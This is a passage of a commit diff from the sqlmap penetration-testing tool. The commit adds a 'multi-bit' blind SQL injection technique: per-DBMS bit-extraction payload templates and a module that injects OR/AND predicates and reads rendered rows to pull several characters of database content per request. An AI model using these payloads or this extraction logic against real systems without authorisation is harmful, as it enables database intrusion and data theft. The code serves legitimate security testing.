mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2026-10-12 02:22:55 +00:00
Adding support for multi-bit boolean extraction
This commit is contained in:
Miroslav Štampar
@@ -20,6 +20,9 @@
|
||||
<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
|
||||
<hex query="HEX(%s)"/>
|
||||
<inference query="ORD(MID((%s),%d,1))>%d"/>
|
||||
<bitmap query="((ORD(MID((%s),1+FLOOR((%s-%s)/%s),1))>>MOD(%s-%s,%s))&1)=1"/>
|
||||
<bitchar query="((ORD(MID((%s),%s,1))>>(%s))&1)=1"/>
|
||||
<bitcol query="((%s>>%s)&1)=1"/>
|
||||
<banner query="VERSION()"/>
|
||||
<current_user query="CURRENT_USER()"/>
|
||||
<current_db query="DATABASE()"/>
|
||||
@@ -101,6 +104,9 @@
|
||||
<case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END)"/>
|
||||
<hex query="ENCODE(CONVERT_TO((%s),'UTF8'),'HEX')"/>
|
||||
<inference query="ASCII(SUBSTRING((%s)::text FROM %d FOR 1))>%d"/>
|
||||
<bitmap query="((ASCII(SUBSTRING((%s)::text FROM (1+FLOOR((%s-%s)/%s))::int FOR 1))>>((%s-%s)%%%s))&1)=1"/>
|
||||
<bitchar query="((ASCII(SUBSTRING((%s)::text FROM (%s)::int FOR 1))>>(%s))&1)=1"/>
|
||||
<bitcol query="((%s>>%s)&1)=1"/>
|
||||
<banner query="VERSION()"/>
|
||||
<current_user query="CURRENT_USER"/>
|
||||
<current_db query="CURRENT_SCHEMA()"/>
|
||||
@@ -180,6 +186,9 @@
|
||||
<case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END)"/>
|
||||
<hex query="master.dbo.fn_varbintohexstr(CAST(%s AS VARBINARY(8000)))"/>
|
||||
<inference query="UNICODE(SUBSTRING((%s),%d,1))>%d"/>
|
||||
<bitmap query="((UNICODE(SUBSTRING((%s),1+((%s-%s)/%s),1))/POWER(2,((%s-%s)%%%s)))%%2)=1"/>
|
||||
<bitchar query="((UNICODE(SUBSTRING((%s),%s,1))/POWER(2,(%s)))%%2)=1"/>
|
||||
<bitcol query="((%s/POWER(2,%s))%%2)=1"/>
|
||||
<banner query="SELECT @@VERSION"/>
|
||||
<current_user query="SELECT SYSTEM_USER"/>
|
||||
<current_db query="SELECT DB_NAME()"/>
|
||||
@@ -260,6 +269,9 @@
|
||||
NOTE: ASCIISTR (https://www.techonthenet.com/oracle/functions/asciistr.php)
|
||||
-->
|
||||
<inference query="ASCII(SUBSTRC((%s),%d,1))>%d"/>
|
||||
<bitmap query="(BITAND(ASCII(SUBSTRC((%s),1+FLOOR((%s-%s)/%s),1)),POWER(2,MOD(%s-%s,%s)))>0)"/>
|
||||
<bitchar query="(BITAND(ASCII(SUBSTRC((%s),%s,1)),POWER(2,(%s)))>0)"/>
|
||||
<bitcol query="BITAND(%s,POWER(2,%s))>0"/>
|
||||
<banner query="SELECT banner FROM v$version WHERE ROWNUM=1"/>
|
||||
<current_user query="SELECT USER FROM DUAL"/>
|
||||
<!--
|
||||
@@ -360,6 +372,9 @@
|
||||
<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
|
||||
<hex query="HEX(%s)"/>
|
||||
<inference query="SUBSTR((%s),%d,1)>'%c'"/>
|
||||
<bitmap query="((UNICODE(SUBSTR((%s),1+((%s-%s)/%s),1))>>((%s-%s)%%%s))&1)=1"/>
|
||||
<bitchar query="((UNICODE(SUBSTR((%s),%s,1))>>(%s))&1)=1"/>
|
||||
<bitcol query="((%s>>%s)&1)=1"/>
|
||||
<banner query="SELECT SQLITE_VERSION()"/>
|
||||
<current_user/>
|
||||
<current_db/>
|
||||
|
||||
@@ -54,6 +54,11 @@ def action():
|
||||
|
||||
setHandler()
|
||||
|
||||
# multi-bit blind ('--multi-bit'): the back-end is known now, so its bit arithmetic can be checked
|
||||
# before nudging the user towards a channel that reads several characters per request (no requests)
|
||||
from lib.techniques.blind import multibit
|
||||
multibit.hint()
|
||||
|
||||
if kb.wafBypass and Backend.getDbms(): # persist the assumed DBMS so a resumed run restores it instead of re-fingerprinting (and dead-ending) behind the WAF
|
||||
hashDBWrite(HASHDB_KEYS.DBMS, Backend.getDbms())
|
||||
|
||||
|
||||
+3
-1
@@ -2287,7 +2287,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
|
||||
kb.lastParserStatus = None
|
||||
|
||||
kb.locks = AttribDict()
|
||||
for _ in ("cache", "connError", "count", "handlers", "hint", "identYwaf", "index", "io", "limit", "liveCookies", "log", "prediction", "socket", "redirect", "request", "value"):
|
||||
for _ in ("cache", "connError", "count", "handlers", "hint", "identYwaf", "index", "io", "limit", "liveCookies", "log", "multibit", "prediction", "socket", "redirect", "request", "value"):
|
||||
kb.locks[_] = threading.Lock()
|
||||
|
||||
kb.matchRatio = None
|
||||
@@ -2296,6 +2296,8 @@ def _setKnowledgeBaseAttributes(flushAll=True):
|
||||
kb.mergeCookies = None
|
||||
kb.mysqlUtf8mb4 = None
|
||||
kb.multiThreadMode = False
|
||||
kb.multibit = {} # per injection point: absent=untried, False=unusable, else the row channel profile
|
||||
kb.multibitHinted = False
|
||||
kb.multipleCtrlC = False
|
||||
kb.negativeLogic = False
|
||||
kb.nchar = True
|
||||
|
||||
@@ -137,6 +137,7 @@ optDict = {
|
||||
"oobToken": "string",
|
||||
"timeSec": "integer",
|
||||
"timeless": "boolean",
|
||||
"multiBit": "boolean",
|
||||
"uCols": "string",
|
||||
"uChar": "string",
|
||||
"uFrom": "string",
|
||||
|
||||
@@ -20,7 +20,7 @@ from lib.core.enums import OS
|
||||
from thirdparty import six
|
||||
|
||||
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
|
||||
VERSION = "1.10.8.36"
|
||||
VERSION = "1.10.8.37"
|
||||
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
|
||||
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
|
||||
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
|
||||
@@ -1627,7 +1627,7 @@ VALID_TIME_CHARS_RUN_THRESHOLD = 100
|
||||
CHECK_ZERO_COLUMNS_THRESHOLD = 10
|
||||
|
||||
# Boldify all logger messages containing these "patterns"
|
||||
BOLD_PATTERNS = ("' injectable", "provided empty", "leftover chars", "might be injectable", "' is vulnerable", "is not injectable", "does not seem to be", "test failed", "test passed", "live test final result", "test shows that", "the back-end DBMS is", "created Github", "blocked by the target server", "protection is involved", "CAPTCHA", "specific response", "NULL connection is supported", "PASSED", "FAILED", "for more than", "connection to ", "will be trimmed", "counterpart to database")
|
||||
BOLD_PATTERNS = ("' injectable", "provided empty", "leftover chars", "might be injectable", "' is vulnerable", "is not injectable", "does not seem to be", "test failed", "test passed", "live test final result", "test shows that", "the back-end DBMS is", "created Github", "blocked by the target server", "protection is involved", "CAPTCHA", "specific response", "NULL connection is supported", "PASSED", "FAILED", "for more than", "connection to ", "will be trimmed", "counterpart to database", "several characters")
|
||||
|
||||
# Regular expression used to search for bold-patterns
|
||||
BOLD_PATTERNS_REGEX = '|'.join(BOLD_PATTERNS)
|
||||
@@ -1708,8 +1708,8 @@ PLAIN_TEXT_CONTENT_TYPE = "text/plain; charset=utf-8"
|
||||
SUHOSIN_MAX_VALUE_LENGTH = 512
|
||||
|
||||
# Multi-bit blind inference ("row multiplexing"): one rendered row carries one bit, so a single
|
||||
# response yields whole characters instead of a single boolean. Needs '--risk=3' (it widens the
|
||||
# result set with OR) and proves every value back against the target before returning it.
|
||||
# response yields whole characters instead of a single boolean. Used on demand ('--multi-bit', which
|
||||
# widens the result set with OR) and proves every value back against the target before returning it.
|
||||
MAX_MULTIBIT_LENGTH = 8192 # hard ceiling when the value length is unknown (anti-runaway)
|
||||
MAX_MULTIBIT_PAGE = 1048576 # response bytes parsed for repeated row markup (larger pages are truncated)
|
||||
MULTIBIT_BITS_PER_CHAR = 8 # one whole byte per character, one row per bit
|
||||
|
||||
@@ -436,6 +436,9 @@ def cmdLineParser(argv=None):
|
||||
techniques.add_argument("--timeless", dest="timeless", action="store_true",
|
||||
help="Use HTTP/2 timeless timing (faster, no delay)")
|
||||
|
||||
techniques.add_argument("--multi-bit", dest="multiBit", action="store_true",
|
||||
help="Use rendered rows to read several bits per request")
|
||||
|
||||
techniques.add_argument("--union-cols", dest="uCols",
|
||||
help="Range of columns to test for UNION query SQL injection")
|
||||
|
||||
|
||||
@@ -78,6 +78,7 @@ from lib.core.threads import getCurrentThreadData
|
||||
from lib.core.threads import runThreads
|
||||
from lib.core.unescaper import unescaper
|
||||
from lib.request.connect import Connect as Request
|
||||
from lib.techniques.blind import multibit
|
||||
from lib.utils.progress import ProgressBar
|
||||
from lib.utils.safe2bin import safecharencode
|
||||
from lib.utils.xrange import xrange
|
||||
@@ -986,8 +987,17 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
||||
# and detects end-of-string correctly
|
||||
return getChar(idx, asciiTbl, True, retried=retried)
|
||||
|
||||
# Multi-bit inference ('--multi-bit'): on a listing page a single response carries WHICH rows came
|
||||
# back, i.e. a whole bit vector rather than one boolean, giving several characters per request. It
|
||||
# returns None unless it proved the extracted value back against the target, so everything below
|
||||
# is untouched whenever it is unusable (and it owns its own threading, hence before this branch).
|
||||
multibitValue = multibit.attempt(expression, getChar, length, charsetType, firstChar or partialValue)
|
||||
|
||||
if multibitValue is not None:
|
||||
finalValue = multibitValue
|
||||
|
||||
# Go multi-threading (--threads > 1)
|
||||
if numThreads > 1 and isinstance(length, int) and length > 1:
|
||||
elif numThreads > 1 and isinstance(length, int) and length > 1:
|
||||
threadData.shared.value = [None] * length
|
||||
threadData.shared.index = [firstChar] # As list for python nested function scoping
|
||||
threadData.shared.start = firstChar
|
||||
|
||||
@@ -0,0 +1,943 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
"""
|
||||
Multi-bit blind inference ("row multiplexing"), used on demand ('--multi-bit').
|
||||
|
||||
Classic boolean-based blind reads ONE bit per request, because the oracle in comparison.py reduces a
|
||||
response to True/False. On a listing page the response actually carries more: WHICH rows came back.
|
||||
By making row N of the rendered query appear iff bit N of the target value is set, a single response
|
||||
carries a whole bit vector - 8 bits per character, so several characters per request instead of eight
|
||||
requests per character.
|
||||
|
||||
The switch is the permission: widening the result set with OR is what makes one response carry whole
|
||||
characters, and that is a risk-3 operation in sqlmap's own policy (every "OR boolean-based blind" test
|
||||
in boolean_blind.xml is <risk>3</risk>). Without it nothing here runs, and hint() merely says so once
|
||||
on a target that would benefit.
|
||||
|
||||
The payload keeps the value expression exactly ONCE: the row identifier itself computes both the
|
||||
character offset and the bit index (see the per-DBMS <bitmap> atom in queries.xml). Emitting one term
|
||||
per bit instead would produce multi-kilobyte payloads that no real target accepts.
|
||||
|
||||
Correctness does NOT rest on the channel being clean. Every extracted value is proven back against
|
||||
the target before it is returned (length plus chunk-wise equality, see _confirm), a canary row tells
|
||||
an empty answer apart from a junk response, and any doubt returns None so that bisection() proceeds
|
||||
untouched.
|
||||
"""
|
||||
|
||||
import logging
|
||||
import re
|
||||
import time
|
||||
|
||||
from lib.core.agent import agent
|
||||
from lib.core.common import Backend
|
||||
from lib.core.common import dataToStdout
|
||||
from lib.core.common import decodeIntToUnicode
|
||||
from lib.core.common import filterControlChars
|
||||
from lib.core.common import getTechnique
|
||||
from lib.core.common import incrementCounter
|
||||
from lib.core.common import isTechniqueAvailable
|
||||
from lib.core.common import randomInt
|
||||
from lib.core.common import setTechnique
|
||||
from lib.core.common import singleTimeLogMessage
|
||||
from lib.core.common import singleTimeWarnMessage
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.data import queries
|
||||
from lib.core.enums import PAYLOAD
|
||||
from lib.core.settings import MAX_MULTIBIT_LENGTH
|
||||
from lib.core.settings import MAX_MULTIBIT_PAGE
|
||||
from lib.core.settings import MULTIBIT_BITS_PER_CHAR
|
||||
from lib.core.settings import MULTIBIT_CALIBRATION_ROUNDS
|
||||
from lib.core.settings import MULTIBIT_CANDIDATE_COLUMNS
|
||||
from lib.core.settings import MULTIBIT_CONFIRM_CHUNK
|
||||
from lib.core.settings import MULTIBIT_MAX_FAILURES
|
||||
from lib.core.settings import MULTIBIT_MAX_PLANES
|
||||
from lib.core.settings import MULTIBIT_MIN_BITS
|
||||
from lib.core.settings import MULTIBIT_NARROW
|
||||
from lib.core.settings import MULTIBIT_PLANES
|
||||
from lib.core.settings import MULTIBIT_SAMPLES
|
||||
from lib.core.settings import MULTIBIT_WIDEN
|
||||
from lib.core.settings import MULTIBIT_WIDEN_RISK
|
||||
from lib.core.threads import getCurrentThreadData
|
||||
from lib.core.threads import runThreads
|
||||
from lib.core.unescaper import unescaper
|
||||
from lib.request.connect import Connect as Request
|
||||
from lib.utils.xrange import xrange
|
||||
|
||||
try:
|
||||
from lib.utils import sgmllib
|
||||
except ImportError:
|
||||
sgmllib = None
|
||||
|
||||
_TOKEN = re.compile(r'href="[^"]+"|[A-Za-z][A-Za-z0-9_\-]{3,}')
|
||||
|
||||
# row identity as real listing pages expose it:
|
||||
# /product.php?id=12 (?id=12, &pid=12)
|
||||
# data-id='12' (data attribute)
|
||||
# /product/12 (path segment)
|
||||
# <input name='product_id' value='12'> (form field, either attribute order)
|
||||
_QUERY = re.compile(r'[?&]([A-Za-z_][A-Za-z0-9_]*)=["\']?(\d{1,9})(?!\d)')
|
||||
_DATA = re.compile(r'\bdata-([A-Za-z_][A-Za-z0-9_]*)=["\']?(\d{1,9})(?!\d)')
|
||||
_PATH = re.compile(r'/([A-Za-z_][A-Za-z0-9_]*)/(\d{1,9})(?!\d)')
|
||||
_INPUT = re.compile(r'<input\b[^>]*>', re.I)
|
||||
_INAME = re.compile(r'\bname\s*=\s*["\']?([A-Za-z_][A-Za-z0-9_]*)', re.I)
|
||||
_IVALUE = re.compile(r'\bvalue\s*=\s*["\']?(\d{1,9})(?!\d)', re.I)
|
||||
|
||||
# page regions whose content is site chrome, not the result set: a nav menu, a currency switcher or a
|
||||
# language picker repeats structurally just like rows do, so nothing inside these proves anything
|
||||
_CHROME = frozenset(("head", "header", "nav", "footer", "aside", "script", "style", "noscript", "template"))
|
||||
|
||||
class _StructureParser(sgmllib.SGMLParser if sgmllib else object):
|
||||
"""
|
||||
One pass over a page, collecting repeated sibling elements outside the site chrome.
|
||||
|
||||
The tell-tale of a listing is REPEATED MARKUP: one row template stamped N times, so the same tag
|
||||
with the same attribute names appears N times under the same parent. Chrome repeats too, which
|
||||
is why header/nav/footer subtrees are excluded - only repeated structure in the page's own
|
||||
content can be the result set.
|
||||
"""
|
||||
|
||||
def __init__(self):
|
||||
if sgmllib:
|
||||
sgmllib.SGMLParser.__init__(self)
|
||||
|
||||
self._open = []
|
||||
self.groups = {}
|
||||
|
||||
def unknown_starttag(self, tag, attrs):
|
||||
self._open.append(tag)
|
||||
|
||||
if not any(_ in _CHROME for _ in self._open[:-1]):
|
||||
parent = self._open[-2] if len(self._open) > 1 else None
|
||||
names = tuple(sorted(name for name, _ in attrs))
|
||||
self.groups.setdefault((parent, tag, names), []).append(attrs)
|
||||
|
||||
def unknown_endtag(self, tag):
|
||||
if tag in self._open:
|
||||
while self._open and self._open[-1] != tag:
|
||||
self._open.pop()
|
||||
|
||||
if self._open:
|
||||
self._open.pop()
|
||||
|
||||
def _debug(message):
|
||||
logger.debug("multi-bit: %s" % message)
|
||||
|
||||
def _page(expression, mode):
|
||||
"""
|
||||
Runs an arbitrary boolean expression and returns the raw body.
|
||||
|
||||
Two ways to attach it, and the difference is not cosmetic:
|
||||
|
||||
WIDEN - "... OR (predicate)" against a negated value, which makes the whole table addressable
|
||||
and the channel wide enough for several characters per request. It can also make an
|
||||
injected UPDATE/DELETE touch rows it otherwise would not, which is why every OR test
|
||||
in boundaries is risk 3 - and why this is what the switch buys.
|
||||
NARROW - "... AND (predicate)" on the live value. Can only ever REMOVE rows, so the channel is
|
||||
as wide as the rows the page already shows. The fallback for a result set no OR can
|
||||
widen (a fixed filter in a subquery the payload cannot escape).
|
||||
"""
|
||||
|
||||
if mode == MULTIBIT_WIDEN:
|
||||
payload = agent.payload(newValue=agent.suffixQuery(agent.prefixQuery("OR (%s)" % expression)), where=PAYLOAD.WHERE.NEGATIVE)
|
||||
else:
|
||||
payload = agent.payload(newValue=agent.suffixQuery(agent.prefixQuery("AND (%s)" % expression)), where=PAYLOAD.WHERE.ORIGINAL)
|
||||
|
||||
page, _, _ = Request.queryPage(payload, content=True, raise404=False, silent=True)
|
||||
incrementCounter(getTechnique())
|
||||
|
||||
return page or ""
|
||||
|
||||
def _tokens(expression, mode):
|
||||
return set(_TOKEN.findall(_page(expression, mode)))
|
||||
|
||||
def _stable(expression, mode, samples=MULTIBIT_SAMPLES):
|
||||
"""Tokens present in EVERY sample - drops per-response junk (CSRF, timestamps, ads, request ids)."""
|
||||
|
||||
retVal = None
|
||||
|
||||
for _ in range(samples):
|
||||
current = _tokens(expression, mode)
|
||||
retVal = current if retVal is None else (retVal & current)
|
||||
|
||||
if not retVal:
|
||||
break
|
||||
|
||||
return retVal or set()
|
||||
|
||||
def _bitcol(column, base, bit):
|
||||
"""Predicate 'bit `bit` of (column - base) is set', used to address rows in bulk."""
|
||||
|
||||
return queries[Backend.getIdentifiedDbms()].bitcol.query % ("(%s-%d)" % (column, base), bit)
|
||||
|
||||
def _join(*expressions):
|
||||
return " AND ".join("(%s)" % _ for _ in expressions if _)
|
||||
|
||||
def _window(column, low, high):
|
||||
return "%s BETWEEN %d AND %d" % (column, low, high)
|
||||
|
||||
def _extract(page):
|
||||
"""
|
||||
Yields (name, value) identifier pairs from the page's repeated content markup.
|
||||
|
||||
Only elements that REPEAT structurally count - a listing is one row template stamped N times, so
|
||||
its identifiers sit inside elements whose tag, attribute names and parent tag recur. A single
|
||||
element proves nothing, and the site chrome (nav menus, switchers, scripts) is excluded outright:
|
||||
a single-row page is thus ruled out from the page alone, for free.
|
||||
"""
|
||||
|
||||
if not page:
|
||||
return
|
||||
|
||||
if sgmllib is None:
|
||||
# no parser available (very new Python): the identifier forms alone, wherever they appear
|
||||
for key, value in _QUERY.findall(page) + _DATA.findall(page) + _PATH.findall(page):
|
||||
yield key, int(value)
|
||||
|
||||
for tag in _INPUT.findall(page):
|
||||
name, value = _INAME.search(tag), _IVALUE.search(tag)
|
||||
|
||||
if name and value:
|
||||
yield name.group(1), int(value.group(1))
|
||||
|
||||
return
|
||||
|
||||
parser = _StructureParser()
|
||||
|
||||
try:
|
||||
parser.feed(page[:MAX_MULTIBIT_PAGE])
|
||||
parser.close()
|
||||
except Exception:
|
||||
return
|
||||
|
||||
for (_, tag, _), members in parser.groups.items():
|
||||
if len(members) < 2:
|
||||
continue
|
||||
|
||||
for attrs in members:
|
||||
if tag == "input":
|
||||
name = next((value for key, value in attrs if key == "name"), "")
|
||||
value = next((value for key, value in attrs if key == "value"), "")
|
||||
|
||||
if name and value.isdigit() and len(value) <= 9:
|
||||
yield name, int(value)
|
||||
else:
|
||||
for key, value in attrs:
|
||||
if key == "href":
|
||||
for name, digit in _QUERY.findall(value) + _PATH.findall(value):
|
||||
yield name, int(digit)
|
||||
elif key.startswith("data-") and len(key) > 5 and value.isdigit() and len(value) <= 9:
|
||||
yield key[5:], int(value)
|
||||
|
||||
def _identifiers(page):
|
||||
"""
|
||||
Row identifiers a response exposes, as real listing pages do it.
|
||||
|
||||
A row identifier VARIES within one response; one that does not is page furniture (or the injected
|
||||
parameter reflected back), whatever it happens to be called.
|
||||
"""
|
||||
|
||||
retVal = {}
|
||||
|
||||
for name, value in _extract(page):
|
||||
retVal.setdefault(name, set()).add(value)
|
||||
|
||||
return dict((_, retVal[_]) for _ in retVal if len(retVal[_]) > 1)
|
||||
|
||||
def _discover(mode):
|
||||
"""
|
||||
Finds a per-row discriminator column and the markers identifying each row.
|
||||
|
||||
Cheap stages first, so a hopeless parameter costs a handful of requests instead of a linear scan:
|
||||
|
||||
1. viability - a probe against an empty one, plus a smaller range that must show strictly fewer
|
||||
rows. A page that cannot show fewer rows when asked for fewer (pagination, truncation, a
|
||||
cache serving one body) is rejected here, before anything expensive is paid for.
|
||||
2. mapping - row identities are resolved by BIT PLANE: request k selects every row whose
|
||||
offset from the base has bit k set, so a handful of requests place all of them. Probing
|
||||
identifiers one at a time would cost one request each.
|
||||
"""
|
||||
|
||||
if not queries[Backend.getIdentifiedDbms()].bitcol.query:
|
||||
_debug("no <bitcol> atom for %s" % Backend.getIdentifiedDbms())
|
||||
return None
|
||||
|
||||
spread = {}
|
||||
|
||||
# The page as the target itself serves it already lists row identifiers, and sqlmap has kept it
|
||||
# since the stability check - so the candidates cost nothing. Only when it yields none is it
|
||||
# worth asking for more rows (which, on a big table, is a big response).
|
||||
for candidate in (kb.originalPage,) + (None,) * MULTIBIT_SAMPLES:
|
||||
spread = _identifiers(candidate if candidate is not None else _page("1=1", mode))
|
||||
|
||||
if spread:
|
||||
break
|
||||
|
||||
if not spread:
|
||||
_debug("no row identifiers rendered in the response")
|
||||
return None
|
||||
|
||||
empty = _stable("1=2", mode)
|
||||
|
||||
for column in sorted(spread, key=lambda _: len(spread[_]), reverse=True)[:MULTIBIT_CANDIDATE_COLUMNS]:
|
||||
retVal = (_widen if mode == MULTIBIT_WIDEN else _narrow)(column, spread[column], empty, mode)
|
||||
|
||||
if retVal:
|
||||
retVal.update(column=column, mode=mode)
|
||||
return retVal
|
||||
|
||||
return None
|
||||
|
||||
def _narrow(column, known, empty, mode):
|
||||
"""
|
||||
The channel the page already carries: its OWN rows, addressed by name. Identifiers are whatever
|
||||
the markup showed - they need not be consecutive, because the payload maps each one to a bit
|
||||
through a CASE rather than through arithmetic.
|
||||
"""
|
||||
|
||||
base = min(known) - 1
|
||||
pool = _stable("1=1", mode) - empty
|
||||
|
||||
if len(pool) < MULTIBIT_MIN_BITS + 1:
|
||||
_debug("column '%s' exposes too little per-row content (%d markers)" % (column, len(pool)))
|
||||
return None
|
||||
|
||||
# asking for the lower half of the identifiers must show strictly fewer rows
|
||||
inside = sorted(known)
|
||||
fewer = _stable(_window(column, base, (inside[0] + inside[-1]) // 2), mode) & pool
|
||||
|
||||
if not (fewer < pool):
|
||||
_debug("column '%s' shows the same rows for fewer identifiers (truncation/cache)" % column)
|
||||
return None
|
||||
|
||||
count = min(MULTIBIT_MAX_PLANES, max(1, (max(known) - base).bit_length()))
|
||||
rows = _place(_planes(column, base, mode, None, pool, count), pool, base, known)
|
||||
order = sorted(rows)
|
||||
|
||||
if len(order) < MULTIBIT_MIN_BITS + 1:
|
||||
_debug("column '%s' yields only %d usable rows on the page" % (column, len(order)))
|
||||
return None
|
||||
|
||||
# one row is the canary (selected regardless of the data), the rest carry bits
|
||||
return {"rows": rows, "canary": order[-1], "keys": order[:-1][:MULTIBIT_BITS_PER_CHAR], "perCall": 1}
|
||||
|
||||
def _widen(column, known, empty, mode):
|
||||
"""
|
||||
The whole table, addressed by a window of consecutive identifiers so that one compact payload can
|
||||
carry several characters: the identifier itself computes both the character offset and the bit.
|
||||
"""
|
||||
|
||||
span = 1 << MULTIBIT_PLANES
|
||||
|
||||
# Centre the window on the identifiers the page itself renders, so tables that do not start at 1
|
||||
# (or at all) are still reachable. Offsets are counted from base = low - 1 so that they start at
|
||||
# ONE: an offset of zero sets no bit in any plane, which is indistinguishable from a marker that
|
||||
# went missing, and it would cost the first row of every window.
|
||||
low = max(1, min(known) - span // 2)
|
||||
base = low - 1
|
||||
high = base + span - 1
|
||||
window = _window(column, low, high)
|
||||
|
||||
pool = _stable(window, mode) - empty
|
||||
|
||||
if len(pool) < MULTIBIT_BITS_PER_CHAR + 1:
|
||||
_debug("column '%s' exposes too little per-row content (%d markers)" % (column, len(pool)))
|
||||
return None
|
||||
|
||||
# Asking for a range that leaves out an identifier known to exist must show strictly fewer rows.
|
||||
# The cut is anchored on real identifiers CLIPPED TO THE WINDOW - halving the window proves
|
||||
# nothing on a table smaller than it (15 products list the same for 1..64 as for 1..128), and
|
||||
# halving the identifiers proves nothing on a table larger than it (with ids up to 1000 the
|
||||
# "smaller" range would be wider than the window itself).
|
||||
inside = sorted(_ for _ in known if low <= _ <= high) or sorted(known)
|
||||
fewer = _stable(_window(column, low, (inside[0] + inside[-1]) // 2), mode) & pool
|
||||
|
||||
if not (fewer < pool):
|
||||
_debug("column '%s' shows the same rows for a smaller range (pagination/truncation/cache)" % column)
|
||||
return None
|
||||
|
||||
rows = _place(_planes(column, base, mode, window, pool, MULTIBIT_PLANES), pool, base, None)
|
||||
|
||||
# the payload derives char offset and bit index from (id - base), so ids must be consecutive
|
||||
run = _longestRun(rows)
|
||||
|
||||
if len(run) < MULTIBIT_BITS_PER_CHAR + 1:
|
||||
_debug("column '%s' yields only %d consecutive usable rows" % (column, len(run)))
|
||||
return None
|
||||
|
||||
canary = run.pop() # unconditionally selected on every read
|
||||
|
||||
while len(run) % MULTIBIT_BITS_PER_CHAR: # whole characters only
|
||||
run.pop()
|
||||
|
||||
return {"rows": dict((_, rows[_]) for _ in run + [canary]), "canary": canary,
|
||||
"keys": run, "base": run[0], "perCall": len(run) // MULTIBIT_BITS_PER_CHAR}
|
||||
|
||||
def _planes(column, base, mode, restrict, pool, count):
|
||||
"""
|
||||
The bit planes of the row identifiers: plane k holds the markers of every row whose offset from
|
||||
the base has bit k set, so `count` requests place up to 2**count rows.
|
||||
|
||||
An empty plane ABOVE every non-empty one simply means the identifiers do not reach that far. An
|
||||
empty one BELOW them is a bad response, and re-probing it is far cheaper than letting it shift
|
||||
every identifier by that bit.
|
||||
"""
|
||||
|
||||
def probe(bit):
|
||||
return _tokens(_join(restrict, _bitcol(column, base, bit)), mode) & pool
|
||||
|
||||
retVal = [probe(_) for _ in range(count)]
|
||||
top = max([_ for _ in range(count) if retVal[_]] or [0])
|
||||
|
||||
for bit in range(top):
|
||||
if not retVal[bit]:
|
||||
retVal[bit] = probe(bit)
|
||||
|
||||
return retVal
|
||||
|
||||
def _place(planes, pool, base, known):
|
||||
"""Turns the bit planes into 'row identifier -> the markers that identify only that row'."""
|
||||
|
||||
useful = [_ for _ in planes if _]
|
||||
|
||||
# Markers common to every plane that selected anything carry no identity - they are the shared
|
||||
# row markup ("item", "class", ...). Intersecting ALL the planes instead would remove nothing
|
||||
# when the high planes are empty for want of rows, and the markup would then be placed at a row
|
||||
# identifier that does not exist (and, being the last one, would be picked as the canary).
|
||||
pool = pool - (set.intersection(*useful) if useful else pool)
|
||||
|
||||
identity = {}
|
||||
|
||||
for token in pool:
|
||||
value = 0
|
||||
|
||||
for bit in range(len(planes)):
|
||||
if token in planes[bit]:
|
||||
value |= 1 << bit
|
||||
|
||||
if value: # a marker in no plane at all is junk, not a row
|
||||
identity.setdefault(base + value, set()).add(token)
|
||||
|
||||
if known: # only identifiers the markup really showed
|
||||
identity = dict((_, identity[_]) for _ in identity if _ in known)
|
||||
|
||||
return _exclusive(identity)
|
||||
|
||||
def _exclusive(identity):
|
||||
"""Keeps only markers that identify ONE row - shared markup is worthless as a bit."""
|
||||
|
||||
retVal = {}
|
||||
|
||||
for rid, tokens in identity.items():
|
||||
others = set()
|
||||
|
||||
for other, more in identity.items():
|
||||
if other != rid:
|
||||
others |= more
|
||||
|
||||
unique = tokens - others
|
||||
|
||||
if unique:
|
||||
retVal[rid] = unique
|
||||
|
||||
return retVal
|
||||
|
||||
def _longestRun(rows):
|
||||
"""The payload derives char offset and bit index from (id - base), so ids must be consecutive."""
|
||||
|
||||
best, run = [], []
|
||||
|
||||
for k in sorted(rows):
|
||||
run = (run + [k]) if (run and k == run[-1] + 1) else [k]
|
||||
|
||||
if len(run) > len(best):
|
||||
best = list(run)
|
||||
|
||||
return best
|
||||
|
||||
def _selected(profile, expression):
|
||||
"""One request -> the set of bit rows the target selected. None when the response itself was junk."""
|
||||
|
||||
rows, canary = profile["rows"], profile["canary"]
|
||||
|
||||
# the canary is OR-ed INSIDE the predicate, so even in narrow mode the result set stays a subset
|
||||
# of the page's own rows
|
||||
observed = _tokens("(%s) OR %s=%d" % (expression, profile["column"], canary), profile["mode"])
|
||||
|
||||
if not rows[canary] & observed:
|
||||
return None # canary missing -> gateway error, interstitial, ...
|
||||
|
||||
return set(_ for _ in profile["keys"] if rows[_] & observed)
|
||||
|
||||
def _calibrate(profile):
|
||||
"""
|
||||
Proves superposition at FULL read width: tokens(A union B) == tokens(A) union tokens(B). This is
|
||||
the gate that rejects paginated, truncated and deduplicating pages, where selecting extra rows
|
||||
pushes others out. Subsets are expressed with the same compact bit arithmetic the reader uses, so
|
||||
the calibration payload is the size of a real one.
|
||||
"""
|
||||
|
||||
column, keys = profile["column"], profile["keys"]
|
||||
base = keys[0] - 1
|
||||
planes = max(1, (keys[-1] - base).bit_length())
|
||||
everything = " OR ".join("%s=%d" % (column, _) for _ in keys)
|
||||
|
||||
# every row at once (the read-width test), then no row at all - the latter proves the canary is a
|
||||
# real row rather than shared markup that merely follows "some row was rendered"
|
||||
rounds = [(everything, set(keys)), ("%s AND NOT (%s)" % (_bitcol(column, base, 0), _bitcol(column, base, 0)), set())]
|
||||
|
||||
for _ in range(MULTIBIT_CALIBRATION_ROUNDS):
|
||||
i, j = randomInt() % planes, randomInt() % planes
|
||||
negate = bool(randomInt() % 2)
|
||||
